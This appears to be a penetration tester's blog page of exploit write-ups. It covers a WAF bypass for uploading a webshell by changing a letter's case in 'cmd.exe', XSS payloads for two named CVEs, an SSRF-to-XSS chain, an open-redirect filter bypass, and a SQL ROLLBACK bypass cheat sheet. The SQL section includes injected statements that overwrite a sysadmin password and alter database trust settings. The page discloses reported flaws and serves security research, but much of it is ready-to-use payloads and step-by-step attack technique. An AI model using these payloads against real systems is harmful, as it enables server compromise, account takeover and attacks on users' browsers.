Palo Alto Networks - WAF Bypass for Webshell

I originally found/reported to Palo Alto in 2018.

You can use the default Kali Linux aspx webshell to get RCE on a server protected by Palo Alto Networks... as long as you change the "m" in cmd.exe to an "M".

That's it! That's the whole hack..! It bypasses the whitelist.

So my discovery process...

While I was trying to upload my webshell, I noticed the font of the error looked different than the rest of the application. I googled the wording, trying to figure out what service was displaying it. It looked similar to an image of a Palo Alto dialog:

Mine:

Theirs:

 

Close enough - I assumed I was dealing with a Palo Alto firewall. The logs confirmed this was true. The bypass worked and eventually I upgraded my webshell to a Meterpreter shell. The Palo Alto WAF bypass process wasn't fancy, but it was instrumental in owning the server.

 

 

 

CVE-2020-26885 XSS in Anchor Tags

For CVE-2020-26885, the AWS WAF made it difficult to get XSS payloads through to the server, but I was able to rely on the client to execute one by using the anchor tag in the URL to exploit it:

/test.html#variable1=true&app=3&version=">IMG%20SRC=%23%20onerror="alert('burninatorsec')">

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-26885

CVE-2020-15864 - XSS in Quali CloudShell Login

Payload:

{{constructor.constructor(%27alert(19891337)%27)()}

Add "username" as a parameter to the login URL to reference the username field of the Quali CloudShell login page, and the JavaScript will execute when they visit the URL, i.e.

https://victim/Account/Login?ReturnUrl%252fAccount%252f%&username={{constructor.constructor(%27alert(1337)%27)()}}

 

Note: <sCript>alert(1337)<scRipt> works too, but isn't as dangerous because it won't autoload through the URL like the constructor payload does.

 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15864

 

CVE-2020-13972 - XSS via SSRF in Enghouse/Zeacom web chat

Here's a chained attack of a known SSRF issue (CVE-2019-16948 / CVE-2019-16951 ) in order to get XSS in Enghouse Web Chat 6.2.284.34.

When an attacker enters their own URL in the WebServiceLocation parameter, the response from the POST request is displayed by the application client side, and any JavaScript returned from the external server is executed in the browser.

For example, the attacker injects their URL (ending in /ooowee):

The endpoint at /ooowee is returning a XSS payload as a POST response (using mdonkers script from GitHub for a quick server to spin up):

The XSS payload pops for the client:

Filter Bypass for Open Redirect

Trying to add a redirect payload through a URL parameter (but it's just getting harmlessly tacked to the end of the domain)? Bypass by adding the same parameter twice. When the link is displayed on the page, the browser adds a comma and breaks up the pattern:

So, this fails:

whatever.com/cc?DestPage=/"><a%20href="badsite.com">

 

...because it redirects to whatever.com/badsite.com.

But, this succeeds, redirecting to badsite.com:

whatever.com/cc?DestPage=">&DestPage=<a%20href="badsite.com">

PS This also works for XSS payloads, though in this case, wouldn't require the double-parameter trick. It's probably more common for open redirects, but let me know!

 

 

SQL Rollback Hack

Ever seen an application display a message like "changes will be rolled back", particularly after a SQL operation? This may be a clue that access is controlled by the SQL transaction keyword ROLLBACK. Here's how to exploit it and persist your changes!

First, a little bit of background...(tl;dr: there's a cheatsheet at the bottom)

Normally, the ROLLBACK keyword is used for error-catching when performing a series of SQL statements. The syntax goes BEGIN [statement1, statement2, etc.] COMMIT. You can put a ROLLBACK in between any of those statements to undo all of the statements leading up to it if one happens to fail. For example, let's say you're deleting records from parent and child tables. You'd want to wrap both delete statements in a BEGIN/COMMIT, so that if, say, the parent record was deleted successfully but the child record was not (maybe some foreign key was violated or some other error), all changes to both records can be undone using ROLLBACK. This safely preserves the relationship of the tables, and prevents data from "breaking". No parent or child record is left an orphan in this case.

ROLLBACK is great, but should not be used for preventing a user from making changes to the database. It's not made for access control. Here's how to bypass it, assuming it's (most likely) using a BEGIN and ROLLBACK block around all the user input (whether that may be SQL injection, or whatever way you've found to run SQL).


Inject a "commit" to perform a simple update. If it gives an error about mismatching BEGIN and COMMIT statements, that's confirmation it's vulnerable and you've succeeded in changing the data. In this case, we're updating a sysadmin's encrypted password to be the same as our own password so we can take over the account:

UPDATE User SET Password = 'f233dfgxm8913=' WHERE Name = 'sysadmin'

Transaction count after EXECUTE indicates a mismatching number of BEGIN and COMMIT statements. Previous count = 1, current count = 0


Success! But what about more complex statements, such as CREATE or ALTER? There will be error messages like the statement "must be first statement in query batch" or it's "not allowed in multi-statement transaction." Well, for the CREATE, wrapping the statement in an EXEC and then committing works. My guess is that this is because EXEC is designed to work within the transaction first, making the command technically "first". Either way, it works. But only if the COMMIT is added after.

EXEC('CREATE PROCEDURE Hacked(@uhoh VARCHAR(1)) AS BEGIN SELECT @@VERSION END') COMMIT;

As for the "multi-statement transaction" error, we can COMMIT first, and then wrap the statement in EXEC. But, only if the COMMIT is added before.

COMMIT EXEC('ALTER DATABASE clientsdb SET TRUSTWORTHY ON')


TL;DR Cheat Sheet:

1. To complete basic DELETE, INSERT, and UPDATE statements, use a COMMIT after your statement

2. To complete statements such as CREATE PROCEDURE that contain a BEGIN statement, use EXEC('[your statement]') and then COMMIT

3. To complete ALTER/CREATE or DELETE DATABASE (uh...) use COMMIT and then EXEC('[your statement]')

Buffer Overflow Practice

Although it can seem daunting when you're staring at hex and registers for too long, at the end of the day, a buffer overflow is like any other remote code execution vulnerability. You're only need to do two things:

1.) Finding a way to input or store your own shell code

2.) Finding a way to execute that code

For example, creating a web shell requires a way to input the code (i.e. using an unrestricted file upload - preferably stored somewhere public facing) and then a way to execute it (i.e. navigating to the address where the web shell is stored). 

So, the same goes for a NOP-sled buffer overflow: we input the code (i.e. input overflows into the ESP register and crashes) and then find a way to execute it (i.e. store a memory address in the EIP register that refers to a JMP instruction to run what's in the ESP register). It's the same two steps.